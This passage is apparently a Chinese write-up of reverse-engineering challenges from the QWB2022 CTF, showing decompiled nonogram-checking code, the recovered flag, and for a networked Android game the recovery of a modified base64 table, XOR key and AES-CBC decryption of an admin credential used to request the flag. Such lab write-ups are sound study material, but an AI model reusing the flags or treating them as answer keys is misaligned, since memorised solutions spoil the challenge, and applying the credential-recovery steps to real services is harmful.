  for ( i = 0; i <= 24; ++i )
  {
    v12 = 0;
    v11 = 0;
    v10 = 0;
    v9 = 1;
    while ( v12 <= 24 )
    {
      if ( *(_BYTE *)(25 * i + v12 + a1) )
      {
        ++v11;
        v10 = 1;
      }
      else
      {
        if ( v10 )
        {
          *(_BYTE *)(a2 + 25LL * i + v9) = v11;
          v11 = 0;
          ++v9;
        }
        v10 = 0;
      }
      if ( ++v12 == 25 && v10 )
      {
        *(_BYTE *)(a2 + 25LL * i + v9) = v11;
        v11 = 0;
        ++v9;
      }
    }
    result = (_BYTE *)(25LL * i + a2);
    *result = v9 - 1;
  }
  for ( j = 0; j <= 24; ++j )
  {
    v7 = 0;
    v6 = 0;
    v5 = 0;
    v4 = 1;
    while ( v7 <= 24 )
    {
      if ( *(_BYTE *)(25 * v7 + j + a1) )
      {
        ++v6;
        v5 = 1;
      }
      else
      {
        if ( v5 )
        {
          *(_BYTE *)(a3 + 25LL * j + v4) = v6;
          v6 = 0;
          ++v4;
        }
        v5 = 0;
      }
      if ( ++v7 == 25 )
      {
        if ( v5 )
        {
          *(_BYTE *)(a3 + 25LL * j + v4) = v6;
          v6 = 0;
          ++v4;
        }
      }
    }
    result = (_BYTE *)(25LL * j + a3);
    *result = v4 - 1;
  }
  return result;
}

了解一下逻辑后,发现是一个数织,同时先前在init段发现有换表操作,然后拿换表后的两个表,找在线网站进行解决

同时网站可以直接输入表直接解决。提取出数据,并且根据网站的规则改成下面这样

{"ver":[[5,1,3,2,1,1],[1,1,1,1,1,1,1,1],[3,1,3,1,4,1,1],[1,1,1,2,1,1,1,1],[1,4,1,3,2,1,3],[0],[4,4,4,1,1,1],[1,2,2,1,2,1,2,1],[1,1,1,1,3,4,3,1],[1,1,1,1,1,1,1,1,1,1],[3,1,3,1,4,1,1],[2],[1,1,4,1,1,4],[8,1,1,1,1,2],[1,1,1,1,1,1,1,4],[2,2,1,2,1,1,1,1,1,1],[2,5,1,1,3],[0],[12,2,1,1,1,1],[2,1,1,1,1,1,1,1,1],[4,7,2,1,1,1,1],[1,1,2,1,1,1,1,1,1],[12,2],[1,1,1,1],[4,2,1,1]],"hor":[[5,5,3,1,3],[1,1,1,1,1,1,1,1,1,1],[1,1,5,1,3,1,1],[1,2,4,5,1],[5,2,1,1,1,1,1],[1,1,1,1,5],[1,2,6,1,3],[2,2,1,1,1,1,1],[2,5,1,3,1,1],[1,1,1,1,1,1,1,3,1],[2,1,1,1,1,1,1],[2,5,3,1],[3,5,1,1,1],[1,1,1,1,1,1,1,1],[1,1,1,3,5,5],[1,3,5,1,1,1],[1,1,3],[5,1,2,4,1],[1,1,4,3],[1,1,2,4,1],[5,4,3],[2,5,4,1],[5,3,1,1,1],[1,2,1,1,1,4,1],[1,1,1]]}
Image

FLAG{I LOVE PLAY ctf_QWB2022}

GAME (赛后)

是联网的,所以先找到URL地址http://47.93.244.181/re/,接着在com.silence.scoreboard.http包中找到了各个路由

访问ScoreBoard.php获取用户组,分为了usersadmins,这里只有admin用户才能看到flag

public static void getFlag(LifecycleOwner lifecycleOwner, String str, String str2, String str3, CallBackLis<String> callBackLis) {
    HashMap hashMap = new HashMap();
    try {
        hashMap.put("code", str);
        hashMap.put("account", str2);
        hashMap.put("username", str3);
    } catch (Exception e) {
        e.printStackTrace();
    }
    HttpCall.doCall(lifecycleOwner, ((Api) RetrofitHelper.getInstance().getRetrofit().create(Api.class)).getFlag(hashMap), callBackLisnull);
}

根据上述代码可知,获取flag需要code、account和username,这其中code是明文可以直接获取,而account和username是密文,需要解密。

加密过程可以在登录或者注册功能查看。

通过ScoreBoard.php可以获取 code 值和 username 密文,接着通过AddFriend.php可以获取 account 密文,最后将 username 和 account 解密,发送请求即可获得flag。

无语了,看错了一个点搞了半天没搞出,最后赛后base64的表是异或的0x01

Image

看成导致这里出不来,他就改了so改了表和key

Image
Image

然后魔改了base64

tb=[0x150x080x290x2F0x0B0x250x300x160x110x720x0C0x070x2C0x090x060x730x240x220x100x230x120x2B0x700x1A0x0E0x040x030x770x780x140x310x3A0x760x2A0x0D0x2D0x0A0x360x020x710x010x330x6F0x350x210x170x750x390x050x260x2E0x0F0x340x320x270x6B0x790x370x280x180x130x740x190x38]
for i in range(64):
    tb[i]^=(0x41^0x01)
print(bytes(tb))
#b'UHioKepVQ2LGlIF3dbPcRk0ZNDC78Tqz6jMmJvB1As/uaW5yEfnOtrg+9whXS4Yx'

k=[0x5D0x5E0x5F0x580x590x5A0x220x230x2C0x2D0x2E0x2F0x280x290x2A0x2B]
for i in range(len(k)):
    k[i]^=0x1b

得到表和密钥

#include <stdlib.h>
#include <stdio.h>
#include<string.h>
int __fastcall sub_11212(char a1[], char* a2, int a3, char a4[])
{
    int v5; // r4
    int v6; // r10
    char *v7; // r11
    int v8; // r1
    char *v9; // r5
    int v10; // r1
    int v11; // r0
    char v12; // r0

    if (a3 < 1)
    {
        v11 = 0;
    }
    else
    {
        v5 = 0;
        v6 = 2;
        while (1)
        {
            v7 = a2 + v6;
            *(a2 + v6 - 2) = *(a4 + (*(a1 + v5) >> 2));
            v8 = (16 * *(a1 + v5)) & 0x30;
            if (v5 + 1 >= a3)
            {
                v12 = *(a4 + v8);
                *(a2 + v6) = 15677;
                *(v7 - 1) = v12;
                goto LABEL_10;
            }
            v9 = a1 + v5;
            *(v7 - 1) = *(a4 + (v8 | *(a1 + v5 + 1) & 0xF));
            v10 = (*(a1 + v5 + 1) >> 2) & 0x3C;
            if (v5 + 2 >= a3)
                break;
            v5 += 3;
            *(a2 + v6) = *(a4 + (v10 | (*(v9 + 2) >> 6)));
            v6 += 4;
            *(v7 + 1) = *(a4 + (*(v9 + 2) & 0x3F));
            if (v5 >= a3)
            {
                v11 = v6 - 2;
                goto LABEL_11;
            }
        }
        *(a2 + v6) = *(a4 + v10);
        *(v7 + 1) = 61;
    LABEL_10:
        v11 = v6 + 2;
    }
LABEL_11:
    *(a2 + v11) = 0;
    return a2;
}
int __fastcall  deccode(unsigned char a1[] , unsigned char* a2, char* a3)
{
    unsigned __int8 v3; // r12
    unsigned __int8* v4; // r11
    int result; // r0
    int v6; // r9
    unsigned char v7; // lr
    int i; // r3
    unsigned int v9; // r5
    unsigned int j; // r6
    unsigned char v11; // r6
    int k; // r3
    unsigned __int8* v13; // r8
    char v14; // r3
    int v15; // r12
    int v16; // r11

    v3 = *a1;
    if (*a1)
    {
        v4 = a1;
        result = 0;
        v6 = 0;
        while (1)
        {
            v7 = -1;
            for (i = 0; i != 64; ++i)
            {
                if (*(a3 + i) == v3)
                    v7 = i;
            }
            v9 = 255;
            for (j = 0; j != 64; ++j)
            {
                if (*(a3 + j) == v4[v6 | 1])
                    v9 = j;
            }
            v11 = -1;
            for (k = 0; k != 64; ++k)
            {
                if (*(a3 + k) == v4[v6 | 2])
                    v11 = k;
            }
            v13 = v4;
            v14 = -1;
            v15 = 0;
            v16 = v4[v6 | 3];
            do
            {
                if (*(a3 + v15) == v16)
                    v14 = v15;
                ++v15;
            } while (v15 != 64);
            *(a2 + result) = (v9 >> 4) & 3 | (4 * v7);
            if (v13[v6 | 2] == 61)
            {
                ++result;
                goto LABEL_26;
            }
            v4 = v13;
            *(a2 + result + 1) = v9 & 0xF | (4 * (v11 & 0x3C));
            if (v13[v6 | 3] == 61)
                break;
            v6 += 4;
            *(a2 + result + 2) = v14 & 0x3F | (v11 << 6);
            result += 3;
            v3 = v13[v6];
            if (!v3)
                goto LABEL_26;
        }
        result += 2;
    }
    else
    {
        result = 0;
    }
LABEL_26:
    *(a2 + result) = 0;
    return result;
}
int main() {
 unsigned char msg[] ={ 0x49,0x76,0x87,0xf2,0xb8,0xbd,0xca,0x2e,0xfc,0x18,0x4b,0xe1,0x62,0x61,0x35,0x42,0x5,0xe2,0x59,0xf7,0x3c,0xd3,0xbe,0x8d,0x66,0xbe,0x26,0x22,0x95,0x7f,0x43,0x48 };
 char table[] = "UHioKepVQ2LGlIF3dbPcRk0ZNDC78Tqz6jMmJvB1As/uaW5yEfnOtrg+9whXS4Yx";
  int len = strlen(msg);
 int v7 = 4 * (len / 3) + 4;
 if (len == 3 * (len / 3))
  v7 = 4 * (len / 3);
 unsigned char* buff;
    int v22;
 buff = malloc(v7);
 sub_11212(msg, buff, len, table);
    //for (int ii = 0; ii < strlen(buff); ii++)
    //{
    //    printf("0x%x,", buff[ii]);
    //}
 
    unsigned char msgg[] = "SWeH8ou9yuL8GLThYhY1QlDiWX880+uNZusmIll/Q4Q=";
    int lenn = strlen(msgg);
    if (msgg[v7 - 2] == 61) {
        v22 = 3 * (v7 >> 2) - 2;
    }
    else
    {
        v22 = 3 * (v7 >> 2);
        if (msgg[v7 - 1] == 61)
            --v22;
    }
    unsigned char* bufff;
    bufff = malloc(v22 + 1);
    deccode(msgg, bufff, table);
    for (int ii = 0; ii < strlen(bufff); ii++)
    {
        printf("0x%x,", bufff[ii]);
     }

    
    return 0;


}
//0xf2,0x1d,0x41,0x70,0xa3,0xf8,0xbe,0x2b,0x9c,0x2c,0x7a,0x7a,0xfb,0xfa,0xa7,0x20,0x6c,0x42,0xb7,0x7b,0x1c,0x5b,0xa7,0xd8,0x5e,0xab,0x63,0x34,0x3c,0x2a,0x23,0x2d

解密

import base64
from Crypto.Cipher import AES
iv =b"0123456789ABCDEF"
key = b"0123456789ABCDEF"[::-1]
enc=b'atao'
s=[0xf2,0x1d,0x41,0x70,0xa3,0xf8,0xbe,0x2b,0x9c,0x2c,0x7a,0x7a,0xfb,0xfa,0xa7,0x20,0x6c,0x42,0xb7,0x7b,0x1c,0x5b,0xa7,0xd8,0x5e,0xab,0x63,0x34,0x3c,0x2a,0x23,0x2d]

ae=AES.new(key,AES.MODE_CBC,iv)
print(ae.decrypt(bytes(s)))
#b'&Od987$2sPa?>l<k^j\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
Image


来源:Mumuzi

友情链接

联系我们

电话:025-85511250 / 85511260 / 85511275

传真:025-85567816

邮箱:89655699@qq.com